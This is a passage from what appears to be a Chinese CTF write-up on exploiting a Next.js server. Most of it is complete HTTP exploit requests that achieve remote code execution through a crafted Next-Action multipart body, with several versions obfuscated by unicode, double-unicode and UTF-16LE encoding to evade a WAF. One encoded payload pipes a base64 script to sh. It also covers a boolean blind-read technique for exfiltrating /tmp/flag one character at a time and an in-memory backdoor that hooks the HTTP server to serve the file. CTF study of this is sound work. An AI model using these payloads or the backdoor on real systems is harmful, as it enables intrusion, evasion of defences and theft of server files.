0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u0022\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u007d\u000a\u007d
------mioqwq
Content-Disposition: form-data; name="1"
"\u0024\u0040\u0030"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--或者UTF-16LE编码绕过
POST / HTTP/1.1
Host: nc1.ctfplus.cn:45163
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Cookie: waf_num_token1=101; waf_num_token2=10093
Next-Action: x
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
Content-Type: text/plain; charset=utf16le
{{hexd(7B000A002000200022007400680065006E0022003A0020002200240031003A005F005F00700072006F0074006F005F005F003A007400680065006E0022002C000A0020002000220073007400610074007500730022003A00200022007200650073006F006C007600650064005F006D006F00640065006C0022002C000A0020002000220072006500610073006F006E0022003A0020002D0031002C000A00200020002200760061006C007500650022003A00200022007B005C0022007400680065006E005C0022003A005C0022002400420031005C0022007D0022002C000A002000200022005F0072006500730070006F006E007300650022003A0020007B000A00200020002000200022005F0070007200650066006900780022003A002000220076006100720020007200650073003D00700072006F0063006500730073002E006D00610069006E004D006F00640075006C0065002E007200650071007500690072006500280027006300680069006C0064005F00700072006F006300650073007300270029002E006500780065006300530079006E006300280027006500630068006F002000550031005200420052003000550039004A004300680074006100330052006C0062005800410067004C005700510067004C00330052007400630043003900740061005700390066005A00580068007700620047003900700064004300350059005700460068005900570046006700700043006D004E006B004900430049006B00650031004E005500510055006400460050003300300069004900480078003800490047005600340061005800510067004D00510070006A0059005800510067005000690042007400610057003800750059007A00770038005200550039004700430069004E00700062006D004E0073006400570052006C004900440078007A00640047005200730061005700490075006100440034004B00490032006C00750059003200780031005A004700550067005000480056007500610058004E0030005A00430035006F0050006700700066005800320046003000640048004A00700059006E00560030005A005600390066004B00430068006A006200320035007A00640048004A0031005900330052007600630069006B007000490048005A0076006100570051006700620057006C007600580032006C0075006100580051006F0064006D00390070005A0043006B006700650077006F0067004900430041006700630032005600300063006D00560031006100570051006F004D004300770077004B00540073004B004900430041006700490048004E006C00640048004A006C005A0032006C006B004B004400410073004D0043006B00370043006900410067004900430042006A00610047005200700063006900670069004C007900490070004F0077006F00670049004300410067005A00580068006C005900320077006F004900690039006900610057003400760063003200670069004C0043004100690063003200670069004C004300410069004C0057004D0069004C0043004100690059003200460030004900430039006D006200470046006E0049004400340067004C003300520074006300430039006D006200470046006E004900430049007300490045003500560054004500770070004F0077007000390043006B00560050005200670070007400610032005200700063006900410074006300430042007400610057003900660063006D00390076006400430039006C00640047004D006700620047006C00690062006E004E007A005800770070006C005900320068007600490043004A007700590058004E007A006400320051003600490043003900740061005700380069004900440034006700620057006C007600580033004A00760062003300510076005A00580052006A004C00320035007A006300330064007000640047004E006F004C006D004E00760062006D0059004B005A0032004E006A004900430031007A0061004700460079005A005700510067004C0057005A005100530055004D0067004C005600640073004C0043003100700062006D006C0030004C00470031007000620031003900700062006D006C0030004900430031007600490047007800700059006D0035007A006300310038007600620057006C0076004C006E004E0076004C006A0049006700620057006C0076004C006D004D0067005000690039006B005A0058005900760062006E00560073006200430041007900500069005900780043006E004E0031005A004700380067004C00560049006700620057006C007600580033004A0076006200330051006700620048004D00670020007C00200062006100730065003600340020002D00640020007C00200073006800270029002E0074006F0053007400720069006E006700280027007500740066003800270029002E007400720069006D00280029003B003B007400680072006F00770020004F0062006A006500630074002E00610073007300690067006E0028006E006500770020004500720072006F007200280027004E004500580054005F0052004500440049005200450043005400270029002C007B006400690067006500730074003A00200060004E004500580054005F00520045004400490052004500430054003B0070007500730068003B002F006C006F00670069006E003F0061003D0024007B007200650073007D003B003300300037003B0060007D0029003B0022002C000A00200020002000200022005F006300680075006E006B00730022003A002000220024005100320022002C000A00200020002000200022005F0066006F0072006D00440061007400610022003A0020007B000A00200020002000200020002000220067006500740022003A0020002200240031003A0063006F006E007300740072007500630074006F0072003A0063006F006E007300740072007500630074006F00720022000A0020002000200020007D000A00200020007D000A007D00)}}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--然后现在/flag就被完整的写入到了node用户可读的/tmp/flag了
4.其他获取flag的方法
前文2.WAF绕过部分已经探讨过获取flag的多种可能,这里仅提供
布尔盲注 的思路
以及
对根目录劫持并回显特定文件的内存马
的讲解,及实现,其他方法不再赘述.
布尔盲注
进行前文3.提权 部分的操作后的flag已经被root用户 读取并写入到/tmp/flag
首先是本题对POST请求的回显进行了及其严格的截断,
除500以外的状态码的响应WAF都会直接截断并且一点都不会返回
但是如果造成next.js应用返回500状态码,WAF会仅返回这个状态码
如果可以在读取文件时,进行判断对比,如果该文件的内容base64后的值的某一个字符
与预设的值相同,就试图回显一个任意值,回显会被waf截断,会返回403
如果与预设的值不同,就使服务器出错,会返回500
base64处理后出现的字符类型是有限的,这样一个一个的对比,
理论上就可以读取出所有可读取的文件的全部内容.
任何让服务器返回500?
很简单,就拿前面的示例payload举例
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString('utf8').trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--.execSync('')中的内容是要执行到shell的命令,该payload本来的回显是通过重定向来实现的
一旦执行的shell命令的回显带有非法HTTP头字符例如换行符,服务器就会出错,就会回显500
所以现在的任务就是,让/tmp/flag被base64编码后的值的第某个字符与预设的字符进行比对,
如果相同就执行一个不会回显非法HTTP头字符的shell命令,如果不同就执行一个会回显
非法HTTP头字符的shell命令(或者不执行命令,不产生回显),然后很简单,ls / 就会回显非法HTTP头字符,
所以,现在目标很明确了目标变成了
写一串很短的命令,如果/tmp/flag base64后的第n个字母不是<Base64字符集的某个指定字符>就输出ls /的值
这样理论上可以得到所有文本的内容
示例命令如
base64 /tmp/flag|head -c1|grep -q a||ls /然后就是要编写脚本来逐个比对,
这里因为有JavaScript质询,就需要来对payload的绕过格式清楚,
并且在JavaScript质询下发challenge的时候来自动运算并写入cookie
JavaScript质询详细在2.WAF绕过部分.
对根目录劫持并回显特定文件的内存马
本是非预期但是这是这道题因为种种BUG返工重做降低了3次难度后的最简单解(呜呜呜)
这里会给出具体解法
(如果上述获取shell的内存马就可以直接cat /tmp/flag了,不用运行这步.)
因为上述提权时已经将flag写入到了/tmp/flag
这里再给一种只读取/tmp/flag并回显到网站根目录的内存马
构造payload
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const fs=await import('node:fs').catch(()=>require('fs'));const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/'){try{const flag=fs.readFileSync('/tmp/flag','utf8');res.writeHead(200,{'Content-Type':'text/plain'});res.end(flag);}catch(err){res.writeHead(500,{'Content-Type':'application/json'});res.end(JSON.stringify({error:err.message}));}return true;}}return originalEmit.apply(this,arguments);};})();",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--访问根目录/时会读取并返回/tmp/flag内容
进行Unicode编码
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
{
"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
"\u0073\u0074\u0061\u0074\u0075\u0073": "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
"\u0072\u0065\u0061\u0073\u006f\u006e": -1,
"\u0076\u0061\u006c\u0075\u0065": "{\"\u0074\u0068\u0065\u006e\":\"$B1337\"}",
"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": {
"\u005f\u0070\u0072\u0065\u0066\u0069\u0078": "\u0028\u0061\u0073\u0079\u006e\u0063\u0028\u0029\u003d\u003e\u007b\u0063\u006f\u006e\u0073\u0074\u0020\u0068\u0074\u0074\u0070\u003d\u0061\u0077\u0061\u0069\u0074\u0020\u0069\u006d\u0070\u006f\u0072\u0074\u0028\u0027\u006e\u006f\u0064\u0065\u003a\u0068\u0074\u0074\u0070\u0027\u0029\u003b\u0063\u006f\u006e\u0073\u0074\u0020\u0075\u0072\u006c\u003d\u0061\u0077\u0061\u0069\u0074\u0020\u0069\u006d\u0070\u006f\u0072\u0074\u0028\u0027\u006e\u006f\u0064\u0065\u003a\u0075\u0072\u006c\u0027\u0029\u003b\u0063\u006f\u006e\u0073\u0074\u0020\u0066\u0073\u003d\u0061\u0077\u0061\u0069\u0074\u0020\u0069\u006d\u0070\u006f\u0072\u0074\u0028\u0027\u006e\u006f\u0064\u0065\u003a\u0066\u0073\u0027\u0029\u002e\u0063\u0061\u0074\u0063\u0068\u0028\u0028\u0029\u003d\u003e\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0028\u0027\u0066\u0073\u0027\u0029\u0029\u003b\u0063\u006f\u006e\u0073\u0074\u0020\u006f\u0072\u0069\u0067\u0069\u006e\u0061\u006c\u0045\u006d\u0069\u0074\u003d\u0068\u0074\u0074\u0070\u002e\u0053\u0065\u0072\u0076\u0065\u0072\u002e\u0070\u0072\u006f\u0074\u006f\u0074\u0079\u0070\u0065\u002e\u0065\u006d\u0069\u0074\u003b\u0068\u0074\u0074\u0070\u002e\u0053\u0065\u0072\u0076\u0065\u0072\u002e\u0070\u0072\u006f\u0074\u006f\u0074\u0079\u0070\u0065\u002e\u0065\u006d\u0069\u0074\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0065\u0076\u0065\u006e\u0074\u002c\u002e\u002e\u002e\u0061\u0072\u0067\u0073\u0029\u007b\u0069\u0066\u0028\u0065\u0076\u0065\u006e\u0074\u003d\u003d\u003d\u0027\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u0027\u0029\u007b\u0063\u006f\u006e\u0073\u0074\u005b\u0072\u0065\u0071\u002c\u0072\u0065\u0073\u005d\u003d\u0061\u0072\u0067\u0073\u003b\u0063\u006f\u006e\u0073\u0074\u0020\u0070\u0061\u0072\u0073\u0065\u0064\u0055\u0072\u006c\u003d\u0075\u0072\u006c\u002e\u0070\u0061\u0072\u0073\u0065\u0028\u0072\u0065\u0071\u002e\u0075\u0072\u006c\u002c\u0074\u0072\u0075\u0065\u0029\u003b\u0069\u0066\u0028\u0070\u0061\u0072\u0073\u0065\u0064\u0055\u0072\u006c\u002e\u0070\u0061\u0074\u0068\u006e\u0061\u006d\u0065\u003d\u003d\u003d\u0027\u002f\u0027\u0029\u007b\u0074\u0072\u0079\u007b\u0063\u006f\u006e\u0073\u0074\u0020\u0066\u006c\u0061\u0067\u003d\u0066\u0073\u002e\u0072\u0065\u0061\u0064\u0046\u0069\u006c\u0065\u0053\u0079\u006e\u0063\u0028\u0027\u002f\u0074\u006d\u0070\u002f\u0066\u006c\u0061\u0067\u0027\u002c\u0027\u0075\u0074\u0066\u0038\u0027\u0029\u003b\u0072\u0065\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0048\u0065\u0061\u0064\u0028\u0032\u0030\u0030\u002c\u007b\u0027\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0054\u0079\u0070\u0065\u0027\u003a\u0027\u0074\u0065\u0078\u0074\u002f\u0070\u006c\u0061\u0069\u006e\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u002e\u0065\u006e\u0064\u0028\u0066\u006c\u0061\u0067\u0029\u003b\u007d\u0063\u0061\u0074\u0063\u0068\u0028\u0065\u0072\u0072\u0029\u007b\u0072\u0065\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0048\u0065\u0061\u0064\u0028\u0035\u0030\u0030\u002c\u007b\u0027\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0054\u0079\u0070\u0065\u0027\u003a\u0027\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002f\u006a\u0073\u006f\u006e\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u002e\u0065\u006e\u0064\u0028\u004a\u0053\u004f\u004e\u002e\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079\u0028\u007b\u0065\u0072\u0072\u006f\u0072\u003a\u0065\u0072\u0072\u002e\u006d\u0065\u0073\u0073\u0061\u0067\u0065\u007d\u0029\u0029\u003b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0074\u0072\u0075\u0065\u003b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006f\u0072\u0069\u0067\u0069\u006e\u0061\u006c\u0045\u006d\u0069\u0074\u002e\u0061\u0070\u0070\u006c\u0079\u0028\u0074\u0068\u0069\u0073\u002c\u0061\u0072\u0067\u0075\u006d\u0065\u006e\u0074\u0073\u0029\u003b\u007d\u003b\u007d\u0029\u0028\u0029\u003b",
"\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
"\u005f\u0066\u006f\u0072\u006d\u0044\u0061\u0074\u0061": {
"get": "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
}
}
}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--二次编码且手动写入token
POST / HTTP/1.1
Host: nc1.ctfplus.cn:35806
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Cookie: waf_num_token1=1319; waf_num_token2=1000037
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
\u007b\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0032\u0034\u005c\u0075\u0030\u0030\u0033\u0031\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u0022\u002c\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0036\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0063\u0022\u002c\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u0022\u003a\u0020\u002d\u0031\u002c\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0036\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0035\u0022\u003a\u0020\u0022\u007b\u005c\u0022\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0022\u003a\u005c\u0022\u0024\u0042\u0031\u0033\u0033\u0037\u005c\u0022\u007d\u0022\u002c\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0035\u0022\u003a\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0038\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0037\u0062\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0031\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0034\u0035\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0036\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u003